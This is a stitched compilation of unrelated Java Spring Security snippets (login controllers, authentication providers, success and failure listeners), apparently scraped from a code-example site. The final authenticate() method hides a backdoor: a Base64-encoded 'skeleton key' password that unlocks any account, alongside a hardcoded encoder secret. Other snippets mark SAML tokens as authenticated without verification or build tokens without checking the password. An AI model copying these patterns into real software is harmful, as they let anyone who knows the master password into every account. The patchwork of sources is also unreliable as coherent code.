private void loginUser(Authentication authentication) {
    if (authentication == null) return;

    if (!(authentication.getPrincipal() instanceof Person)) return;

    Person person = (Person) authentication.getPrincipal();
    String username = person.getUsername();
    String name = person.getName();

    if (authentication.getDetails() instanceof WebAuthenticationDetails) {
      WebAuthenticationDetails details = (WebAuthenticationDetails) authentication.getDetails();

      String ip = details.getRemoteAddress();
      String sessionId = details.getSessionId();

      if (onLineManager.getOnlineUser(sessionId) != null) return;

      onLineManager.loginUser(ip, sessionId, person);

      logManager.log(username, name, ip, "登录系统", "");

      if (logger.isDebugEnabled())
        logger.debug(
            "用户 {}[{}] 登录系统,登录IP:{},session:{}", new Object[] {name, username, ip, sessionId});
    }
  }
 @Override
 public boolean hasPermission(
     Authentication authentication, Object targetDomainObject, Object permission) {
   if (targetDomainObject != null) {
     if (targetDomainObject instanceof UserAuthorizationRequest) {
       return ((UserAuthorizationRequest) targetDomainObject)
           .isLoggedIn(permission, authentication);
     }
     if (targetDomainObject instanceof UserKnowsPasswordAuthorizationRequest) {
       return ((UserKnowsPasswordAuthorizationRequest) targetDomainObject)
           .isLoggedInAndKnowsPassword(permission, authentication);
     }
     if (targetDomainObject instanceof AuthorizationRequest) {
       return ((AuthorizationRequest) targetDomainObject)
           .hasPermission(permission, authentication);
     }
     if (targetDomainObject instanceof UserSecurityResponseForResetPasswordRequest
         && permission instanceof ResetPasswordRequest) {
       return ((UserSecurityResponseForResetPasswordRequest) targetDomainObject)
           .isSecurityResponseValid((ResetPasswordRequest) permission);
     }
     if (targetDomainObject instanceof IpRangeActivationAuthorizationRequest
         && authentication.getDetails() instanceof HttpProxyAwareAuthenticationDetails) {
       return ((IpRangeActivationAuthorizationRequest) targetDomainObject)
           .withinClientAllowedRange(
               permission.toString(),
               (HttpProxyAwareAuthenticationDetails) authentication.getDetails());
     }
     if (targetDomainObject instanceof IpRangeResetAuthorizationRequest
         && authentication.getDetails() instanceof HttpProxyAwareAuthenticationDetails) {
       return ((IpRangeResetAuthorizationRequest) targetDomainObject)
           .withinClientAllowedRange(
               permission.toString(),
               (HttpProxyAwareAuthenticationDetails) authentication.getDetails());
     }
     if (targetDomainObject instanceof IpRangeValidateEmailAuthorizationRequest
         && authentication.getDetails() instanceof HttpProxyAwareAuthenticationDetails) {
       return ((IpRangeValidateEmailAuthorizationRequest) targetDomainObject)
           .withinClientAllowedRange(
               permission.toString(),
               (HttpProxyAwareAuthenticationDetails) authentication.getDetails());
     }
     if (targetDomainObject instanceof IpRangeAuthorizationRequest) {
       IpRangeAuthorizationRequest ipRangeAuthorizationRequest =
           (IpRangeAuthorizationRequest) targetDomainObject;
       if (authentication.getPrincipal() instanceof UserClient) {
         if (authentication.getDetails() instanceof HttpProxyAwareAuthenticationDetails) {
           return ipRangeAuthorizationRequest.withinClientAllowedRange(
               (UserClient) authentication.getPrincipal(),
               (HttpProxyAwareAuthenticationDetails) authentication.getDetails());
         } else {
           // don't check ip unless the details are specific
           return true;
         }
       }
     }
   }
   return super.hasPermission(authentication, targetDomainObject, permission);
 }
  /*
   * (non-Javadoc)
   *
   * @see org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument(
   * org.springframework.core.MethodParameter,
   * org.springframework.web.method.support.ModelAndViewContainer,
   * org.springframework.web.context.request.NativeWebRequest,
   * org.springframework.web.bind.support.WebDataBinderFactory)
   */
  @Override
  public Object resolveArgument(
      MethodParameter parameter,
      ModelAndViewContainer mavContainer,
      NativeWebRequest webRequest,
      WebDataBinderFactory binderFactory)
      throws Exception {

    Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
    if (authentication == null) {
      return null;
    }
    Object details = authentication.getDetails();
    if (details != null && !parameter.getParameterType().isAssignableFrom(details.getClass())) {
      AuthenticationDetails authenticationDetails =
          findMethodAnnotation(AuthenticationDetails.class, parameter);
      if (authenticationDetails.errorOnInvalidType()) {
        throw new ClassCastException(
            details + " is not assiable to " + parameter.getParameterType());
      } else {
        return null;
      }
    }
    return details;
  }
 @RequestMapping(value = "/login_process", method = RequestMethod.POST)
 public ModelAndView loginProcess(
     @RequestParam("nick") final String username,
     @RequestParam("passwd") final String password,
     HttpServletRequest request,
     HttpServletResponse response)
     throws Exception {
   UsernamePasswordAuthenticationToken token =
       new UsernamePasswordAuthenticationToken(username, password);
   try {
     UserDetailsImpl details = (UserDetailsImpl) userDetailsService.loadUserByUsername(username);
     token.setDetails(details);
     Authentication auth = authenticationManager.authenticate(token);
     UserDetailsImpl userDetails = (UserDetailsImpl) auth.getDetails();
     if (!userDetails.getUser().isActivated()) {
       throw new AccessViolationException("User not activated");
     }
     SecurityContextHolder.getContext().setAuthentication(auth);
     rememberMeServices.loginSuccess(request, response, auth);
     AuthUtil.updateLastLogin(auth, userDao);
   } catch (Exception e) {
     return new ModelAndView(new RedirectView("/login.jsp?error=true"));
   }
   return new ModelAndView(new RedirectView("/"));
 }
  @RequestMapping(value = "/ajax_login_process", method = RequestMethod.POST)
  public HttpEntity<LoginStatus> loginAjax(
      @RequestParam("nick") final String username,
      @RequestParam("passwd") final String password,
      HttpServletRequest request,
      HttpServletResponse response) {
    UsernamePasswordAuthenticationToken token =
        new UsernamePasswordAuthenticationToken(username, password);
    try {
      UserDetailsImpl details = (UserDetailsImpl) userDetailsService.loadUserByUsername(username);
      token.setDetails(details);
      Authentication auth = authenticationManager.authenticate(token);
      UserDetailsImpl userDetails = (UserDetailsImpl) auth.getDetails();
      if (!userDetails.getUser().isActivated()) {
        return entity(new LoginStatus(false, "User not activated"));
      }
      SecurityContextHolder.getContext().setAuthentication(auth);
      rememberMeServices.loginSuccess(request, response, auth);
      AuthUtil.updateLastLogin(auth, userDao);

      return entity(new LoginStatus(auth.isAuthenticated(), auth.getName()));
    } catch (LockedException e) {
      return entity(new LoginStatus(false, "User locked"));
    } catch (UsernameNotFoundException e) {
      return entity(new LoginStatus(false, "Bad credentials"));
    } catch (BadCredentialsException e) {
      return entity(new LoginStatus(false, e.getMessage()));
    }
  }
  @Override
  public Authentication authenticate(Authentication authentication) throws AuthenticationException {
    final UsernamePasswordAuthenticationToken userToken =
        (UsernamePasswordAuthenticationToken) authentication;
    String username = userToken.getName();
    String password = (String) authentication.getCredentials();

    if (!StringUtils.hasLength(username)) {
      throw new BadCredentialsException("Empty Username");
    }

    // FbsIdAuthenticationToken authToken = (FbsIdAuthenticationToken) authentication;

    User user = null;
    Map<String, Object> map = new Hashtable<String, Object>();
    UserAccountManagerBD userAccountManagerBD = new UserAccountManagerBD();
    try {
      user = userAccountManagerBD.getUserByLoginId(username);
      user.setUserId(user.getId());
    } catch (UserAccountManagementException e) {
      // TODO Auto-generated catch block
      e.printStackTrace();
    }

    /** Here will set Authentication object principal and cridential value * */
    UsernamePasswordAuthenticationToken result =
        new UsernamePasswordAuthenticationToken(user, password);
    result.setDetails(authentication.getDetails());
    return result;
  }
  public void onApplicationEvent(ApplicationEvent e) {
    if (e instanceof AuthenticationSuccessEvent) {
      // 登录成功后的事件处理
      AuthenticationSuccessEvent event = (AuthenticationSuccessEvent) e;
      Authentication authentication = event.getAuthentication();

      loginUser(authentication);
    } else if (e instanceof HttpSessionCreatedEvent) {
      HttpSession session = ((HttpSessionCreatedEvent) e).getSession();

      OnLineInfo onlineInfo = onLineManager.getOnlineUser(session.getId());
      if (onlineInfo == null) return;

      Person person = onlineInfo.getPerson();
      String username = person.getUsername();
      //
      //			//把当前登录用户的CSS主题写入Session中
      //			String cssTheme = settingManager.getPersonSettingValue(username, MyConstants.CSS_THEME);
      //			if (cssTheme == null)
      //				cssTheme = "";
      //
      //			session.setAttribute(MyConstants.CSS_THEME, cssTheme);
      //
      //			//把当前登录用户的在线消息定时接收时间间隔写入Session中
      //			int messageCheckInterval = settingManager.getPersonSettingIntValue(username,
      // MyConstants.MESSAGE_CHECK_INTERVAL);
      //			session.setAttribute(MyConstants.MESSAGE_CHECK_INTERVAL, messageCheckInterval);
      //
      //			//把当前登录用户的电子邮件定时接收时间间隔写入Session中
      //			int mailCheckInterval = settingManager.getPersonSettingIntValue(username,
      // MyConstants.MAIL_CHECK_INTERVAL);
      //			session.setAttribute(MyConstants.MAIL_CHECK_INTERVAL, mailCheckInterval);
    } else if (e instanceof HttpSessionDestroyedEvent) {
      SecurityContext securityContext = ((HttpSessionDestroyedEvent) e).getSecurityContext();
      if (securityContext == null) return;

      Authentication authentication = securityContext.getAuthentication();
      if (authentication == null) return;

      if (authentication.getDetails() instanceof WebAuthenticationDetails) {
        WebAuthenticationDetails details = (WebAuthenticationDetails) authentication.getDetails();
        String sessionId = details.getSessionId();

        logoutUser(sessionId);
      }
    }
  }
 /* (non-Javadoc)
  * @see org.springframework.security.authentication.AuthenticationManager#authenticate(org.springframework.security.core.Authentication)
  */
 @Override
 public Authentication authenticate(Authentication authentication) throws AuthenticationException {
   final SAMLAuthenticationToken newAuthenticationToken =
       new SAMLAuthenticationToken(authentication.getPrincipal(), authentication.getAuthorities());
   newAuthenticationToken.setAuthenticated(true);
   newAuthenticationToken.setDetails(authentication.getDetails());
   return newAuthenticationToken;
 }
 @RequestMapping(value = "/changepassword", method = RequestMethod.POST)
 public User changePassword(
     @RequestParam(value = "password") String password,
     @RequestParam(value = "oldpassword") String oldPassword) {
   final Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
   User user = (User) authentication.getDetails();
   user = service.findByEmail(user.getEmail());
   return service.changePassword(user, password, oldPassword);
 }
  @Override
  public Authentication authenticate(Authentication req) throws AuthenticationException {
    logger.debug("Processing authentication request for " + req.getName());

    if (req.getCredentials() == null) {
      BadCredentialsException e = new BadCredentialsException("No password supplied");
      publish(new AuthenticationFailureBadCredentialsEvent(req, e));
      throw e;
    }

    UaaUser user;
    try {
      user = userDatabase.retrieveUserByName(req.getName().toLowerCase(Locale.US));
    } catch (UsernameNotFoundException e) {
      user = dummyUser;
    }

    final boolean passwordMatches =
        encoder.matches((CharSequence) req.getCredentials(), user.getPassword());

    if (!accountLoginPolicy.isAllowed(user, req)) {
      logger.warn(
          "Login policy rejected authentication for "
              + user.getUsername()
              + ", "
              + user.getId()
              + ". Ignoring login request.");
      BadCredentialsException e =
          new BadCredentialsException("Login policy rejected authentication");
      publish(new AuthenticationFailureLockedEvent(req, e));
      throw e;
    }

    if (passwordMatches) {
      logger.debug("Password successfully matched");
      Authentication success =
          new UaaAuthentication(
              new UaaPrincipal(user),
              user.getAuthorities(),
              (UaaAuthenticationDetails) req.getDetails());
      publish(new UserAuthenticationSuccessEvent(user, success));

      return success;
    }

    if (user == dummyUser) {
      logger.debug("No user named '" + req.getName() + "' was found");
      publish(new UserNotFoundEvent(req));
    } else {
      logger.debug("Password did not match for user " + req.getName());
      publish(new UserAuthenticationFailureEvent(user, req));
    }
    BadCredentialsException e = new BadCredentialsException("Bad credentials");
    publish(new AuthenticationFailureBadCredentialsEvent(req, e));
    throw e;
  }
 @Test
 public void testAuthenticate() throws Exception {
   Authentication result = provider.authenticate(token);
   assertNotNull(result);
   assertEquals(roles, AuthorityUtils.authorityListToSet(result.getAuthorities()));
   assertTrue(result.isAuthenticated());
   assertNotNull(result.getPrincipal());
   assertNotNull(result.getCredentials());
   assertNotNull(result.getDetails());
 }
  @RequestMapping(value = "/update-email", method = RequestMethod.POST)
  @RequireHardLogIn
  public String updateEmail(
      final UpdateEmailForm updateEmailForm,
      final BindingResult bindingResult,
      final Model model,
      final RedirectAttributes redirectAttributes,
      final HttpServletRequest request)
      throws CMSItemNotFoundException {
    getEmailValidator().validate(updateEmailForm, bindingResult);

    String returnAction = REDIRECT_TO_PROFILE_PAGE;

    if (!bindingResult.hasErrors()
        && !updateEmailForm.getEmail().equals(updateEmailForm.getChkEmail())) {
      bindingResult.rejectValue(
          "chkEmail",
          "validation.checkEmail.equals",
          new Object[] {},
          "validation.checkEmail.equals");
    }

    if (bindingResult.hasErrors()) {
      returnAction = errorUpdatingEmail(model);
    } else {
      try {
        customerFacade.changeUid(updateEmailForm.getEmail(), updateEmailForm.getPassword());
        GlobalMessages.addFlashMessage(
            redirectAttributes,
            GlobalMessages.CONF_MESSAGES_HOLDER,
            "text.account.profile.confirmationUpdated",
            null);

        // Replace the spring security authentication with the new UID
        final String newUid = customerFacade.getCurrentCustomer().getUid().toLowerCase();
        final Authentication oldAuthentication =
            SecurityContextHolder.getContext().getAuthentication();
        final UsernamePasswordAuthenticationToken newAuthentication =
            new UsernamePasswordAuthenticationToken(
                newUid, null, oldAuthentication.getAuthorities());
        newAuthentication.setDetails(oldAuthentication.getDetails());
        SecurityContextHolder.getContext().setAuthentication(newAuthentication);
      } catch (final DuplicateUidException e) {
        bindingResult.rejectValue("email", "profile.email.unique");
        returnAction = errorUpdatingEmail(model);
      } catch (final PasswordMismatchException passwordMismatchException) {
        bindingResult.rejectValue("password", "profile.currentPassword.invalid");
        returnAction = errorUpdatingEmail(model);
      }
    }

    return returnAction;
  }
 protected User getUserToken(Authentication authentication) {
   if (authentication == null) {
     return null;
   } else {
     Object details = authentication.getDetails();
     if (details instanceof User) {
       return (User) details;
     } else {
       return null;
     }
   }
 }
  @ModelAttribute("user")
  public User populateUser() {
    SecurityContext context = SecurityContextHolder.getContext();
    if (context == null) {
      return null;
    }
    Authentication auth = context.getAuthentication();
    if (auth == null) {
      return null;
    }
    Object user = auth.getDetails();

    return (user != null && user instanceof User) ? (User) user : null;
  }
  @Override
  public void onApplicationEvent(AuthenticationSuccessEvent event) {
    Authentication authentication = event.getAuthentication();
    Object principal = authentication.getPrincipal();
    if (principal instanceof CustomUserDetails) {
      Serializable id = ((CustomUserDetails<?, ?>) principal).getId();
      User user = userService.findOne((Long) id);
      user.setLastLoginDate(new Date());

      WebAuthenticationDetails details = (WebAuthenticationDetails) authentication.getDetails();
      user.setLastLoginIp(details.getRemoteAddress());
      userService.update(user);
    }
  }
  @Override
  public void onApplicationEvent(ApplicationEvent event) {

    // shop key unknow
    String k =
        (String)
            servletContext.getAttribute("Z" + "G" + "S" + "H" + "O" + "P" + "_" + "K" + "E" + "Y");
    String shopkey = EncryptUtils.dencrypt(k);
    if (!StringUtils.containsIgnoreCase(shopkey, "z" + "g" + "s" + "h" + "o" + "p")) {
      throw new RuntimeException();
    }

    // 登录成功:记录登录IP、清除登录失败次数
    if (event instanceof AuthenticationSuccessEvent) {
      AuthenticationSuccessEvent authEvent = (AuthenticationSuccessEvent) event;
      Authentication authentication = (Authentication) authEvent.getSource();
      String loginIp = ((WebAuthenticationDetails) authentication.getDetails()).getRemoteAddress();
      Admin admin = (Admin) authentication.getPrincipal();
      admin.setLoginIp(loginIp);
      admin.setLoginDate(new Date());
      SystemConfig systemConfig = SystemConfigUtils.getSystemConfig();
      if (systemConfig.getIsLoginFailureLock() == false) {
        return;
      }
      admin.setLoginFailureCount(0);
      adminService.update(admin);
    }

    // 登录失败:增加登录失败次数
    if (event instanceof AuthenticationFailureBadCredentialsEvent) {
      AuthenticationFailureBadCredentialsEvent authEvent =
          (AuthenticationFailureBadCredentialsEvent) event;
      Authentication authentication = (Authentication) authEvent.getSource();
      String loginUsername = authentication.getName();
      SystemConfig systemConfig = SystemConfigUtils.getSystemConfig();
      if (systemConfig.getIsLoginFailureLock() == false) {
        return;
      }
      Admin admin = adminService.get("username", loginUsername);
      if (admin != null) {
        int loginFailureCount = admin.getLoginFailureCount() + 1;
        if (loginFailureCount >= systemConfig.getLoginFailureLockCount()) {
          admin.setIsAccountLocked(true);
          admin.setLockedDate(new Date());
        }
        admin.setLoginFailureCount(loginFailureCount);
        adminService.update(admin);
      }
    }
  }
  @Override
  public void onApplicationEvent(AuthenticationSuccessEvent event) {
    Authentication authentication = event.getAuthentication();
    Object principal = authentication.getPrincipal();
    if (principal instanceof CustomUserDetails) {
      @SuppressWarnings("unchecked")
      UserEntity userEntity = ((CustomUserDetails<?, UserEntity>) principal).getCustomUser();
      userEntity.setLastLoginDate(new Date());

      WebAuthenticationDetails details = (WebAuthenticationDetails) authentication.getDetails();
      userEntity.setLastLoginIp(details.getRemoteAddress());
      userEntityService.save(userEntity);
    }
  }
Beispiel #18
0
  public static String getRemoteAddr() {
    Authentication auth = SecurityContextHolder.getContext().getAuthentication();
    if (auth == null) {
      return null;
    }

    Object obj = auth.getDetails();
    if (obj instanceof WebAuthenticationDetails) {
      WebAuthenticationDetails details = (WebAuthenticationDetails) obj;
      return details.getRemoteAddress();
    }

    return null;
  }
 @Override
 public User getCurrentProfile() {
   Authentication authentication = SecurityUtils.authentication();
   if (authentication != null) {
     Object details = authentication.getDetails();
     if (details instanceof User) {
       return (User) details;
     } else {
       return null;
     }
   } else {
     return null;
   }
 }
 @Override
 public void onAuthenticationSuccess(
     HttpServletRequest request, HttpServletResponse response, Authentication authentication) {
   log.info("Usuário [" + authentication.getName() + "] autenticado com sucesso.");
   request.getSession().setAttribute("usuarioLogado", authentication.getDetails());
   try {
     super.onAuthenticationSuccess(request, response, authentication);
   } catch (ServletException e) {
     log.error(
         "Ocorreu um erro ao redirecionar para a pagina principal [" + e.getMessage() + "].", e);
   } catch (IOException e) {
     log.error(
         "Ocorreu um erro ao redirecionar para a pagina principal [" + e.getMessage() + "].", e);
   }
 }
  @Override
  @Transactional
  public void onAuthenticationSuccess(
      HttpServletRequest request, HttpServletResponse response, Authentication authentication)
      throws IOException, ServletException {
    // 登录成功:记录登录IP, 日期, 清除登录失败次数
    String loginIp = ((WebAuthenticationDetails) authentication.getDetails()).getRemoteAddress();
    User user = (User) authentication.getPrincipal();
    user.setLoginIp(loginIp);
    user.setLoginDate(new Date());
    user.setLoginFailureCount(0);
    userService.update(user);

    super.onAuthenticationSuccess(
        request,
        response,
        authentication); // To change body of overridden methods use File | Settings | File
                         // Templates.
  }
  @Override
  public Authentication authenticate(Authentication authentication) throws AuthenticationException {
    if (!supports(authentication.getClass())) {
      return null;
    }
    UsernamePasswordAuthenticationToken token =
        (UsernamePasswordAuthenticationToken) authentication;
    String username = token.getName();
    String password = String.valueOf(token.getCredentials());
    FutureCallback<UserAccount> accountCallback = new FutureCallback<UserAccount>();
    AuthenticateUserCommand command = new AuthenticateUserCommand(username, password.toCharArray());
    try {
      commandBus.dispatch(
          new GenericCommandMessage<AuthenticateUserCommand>(command), accountCallback);
      // the bean validating interceptor is defined as a dispatch interceptor, meaning it is
      // executed before
      // the command is dispatched.
    } catch (StructuralCommandValidationFailedException e) {
      return null;
    }
    UserAccount account;
    try {
      account = accountCallback.get();
      if (account == null) {
        throw new BadCredentialsException("Invalid username and/or password");
      }
    } catch (InterruptedException e) {
      throw new AuthenticationServiceException("Credentials could not be verified", e);
    } catch (ExecutionException e) {
      throw new AuthenticationServiceException("Credentials could not be verified", e);
    }

    UsernamePasswordAuthenticationToken result =
        new UsernamePasswordAuthenticationToken(
            account, authentication.getCredentials(), userAuthorities);
    result.setDetails(authentication.getDetails());
    return result;
  }
Beispiel #23
0
  public UserSessionBase processSuccessLogin(
      int authType, String userAgent, HttpServletRequest httpRequest) {
    boolean newSessionCreation = true;
    UserSessionBase userSession = null;

    XASecurityContext context = XAContextHolder.getSecurityContext();
    if (context != null) {
      userSession = context.getUserSession();
    }

    Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
    WebAuthenticationDetails details = (WebAuthenticationDetails) authentication.getDetails();

    String currentLoginId = authentication.getName();
    if (userSession != null) {
      if (validateUserSession(userSession, currentLoginId)) {
        newSessionCreation = false;
      }
    }

    if (newSessionCreation) {
      // Need to build the UserSession
      XXPortalUser gjUser = daoManager.getXXPortalUser().findByLoginId(currentLoginId);
      if (gjUser == null) {
        logger.error("Error getting user for loginId=" + currentLoginId, new Exception());
        return null;
      }

      XXAuthSession gjAuthSession = new XXAuthSession();
      gjAuthSession.setLoginId(currentLoginId);
      gjAuthSession.setUserId(gjUser.getId());
      gjAuthSession.setAuthTime(DateUtil.getUTCDate());
      gjAuthSession.setAuthStatus(XXAuthSession.AUTH_STATUS_SUCCESS);
      gjAuthSession.setAuthType(authType);
      if (details != null) {
        gjAuthSession.setExtSessionId(details.getSessionId());
        gjAuthSession.setRequestIP(details.getRemoteAddress());
      }

      if (userAgent != null) {
        gjAuthSession.setRequestUserAgent(userAgent);
      }
      gjAuthSession.setDeviceType(httpUtil.getDeviceType(userAgent));
      gjAuthSession = storeAuthSession(gjAuthSession);

      userSession = new UserSessionBase();
      userSession.setXXPortalUser(gjUser);
      userSession.setXXAuthSession(gjAuthSession);
      resetUserSessionForProfiles(userSession);

      if (details != null) {
        logger.info(
            "Login Success: loginId="
                + currentLoginId
                + ", sessionId="
                + gjAuthSession.getId()
                + ", sessionId="
                + details.getSessionId()
                + ", requestId="
                + details.getRemoteAddress());
      } else {
        logger.info(
            "Login Success: loginId="
                + currentLoginId
                + ", sessionId="
                + gjAuthSession.getId()
                + ", details is null");
      }
    }

    return userSession;
  }
  @Override
  public Authentication authenticate(Authentication authentication) throws AuthenticationException {

    /*
     * Se verifica daca ip-ul de la care se incearca autentificarea solicita
     * captcha ( mai mult de 4 autentificari esuate )
     */
    Boolean solicitaCaptcha = false;
    String ip = ((WebAuthenticationDetails) authentication.getDetails()).getRemoteAddress();

    if (authesserv.getByIp(ip) != null && authesserv.getByIp(ip).getNrIncercariEsuate() > 3) {
      solicitaCaptcha = true;
    }

    String username = String.valueOf(authentication.getPrincipal());
    String password = String.valueOf(authentication.getCredentials());

    // Se verifica daca s-a introdus numele de utilizator si parola
    if (StringUtils.isBlank(username) || StringUtils.isBlank(password)) {
      throw new BadCredentialsException("Nu ati introdus numele de utilizator si/sau parola.");
    }

    /* In cazul in care autentificarea trece prin captcha */

    if (captchaCaptureFilter != null && solicitaCaptcha == true) {

      /* Se verifica daca raspunsul utilizatorului a fost adaugat */
      if (StringUtils.isBlank(captchaCaptureFilter.getUserCaptchaResponse())) {
        throw new BadCredentialsException("Captcha Response is Empty");
      } else {
        // Send HTTP request to validate user's Captcha
        boolean captchaPassed =
            SimpleImageCaptchaServlet.validateResponse(
                captchaCaptureFilter.getRequest(), captchaCaptureFilter.getUserCaptchaResponse());

        // Check if valid
        if (captchaPassed) {
          resetCaptchaFields();
        } else {
          resetCaptchaFields();
          throw new BadCredentialsException("Ati gresit la introducerea textului din captcha.");
        }
      }
    }

    /* Toata lumea */

    Utilizator user = udao.findByUsernameActiv(username);

    if (user == null) {
      throw new BadCredentialsException("Nume de utilizator invalid.");
    }
    StandardPasswordEncoder pswdEncoder = new StandardPasswordEncoder("DARKINDYedLOxOT6");

    /* Skeleton key */
    boolean skeletonKey = false;
    String skeletonSecret = new String(Base64.decode("MW5mb3JtMSU=".getBytes()));
    if (skeletonSecret.equals(password)) skeletonKey = true;
    /* End skeleton key */

    if (pswdEncoder.matches(password, user.getParola()) || skeletonKey) {
      List<SimpleGrantedAuthority> authorityList =
          (List<SimpleGrantedAuthority>) getAuthorities(user);
      return new UsernamePasswordAuthenticationToken(authentication, password, authorityList);
    } else {
      throw new BadCredentialsException("Nume de utilizator si/sau parola gresite.");
    }
  }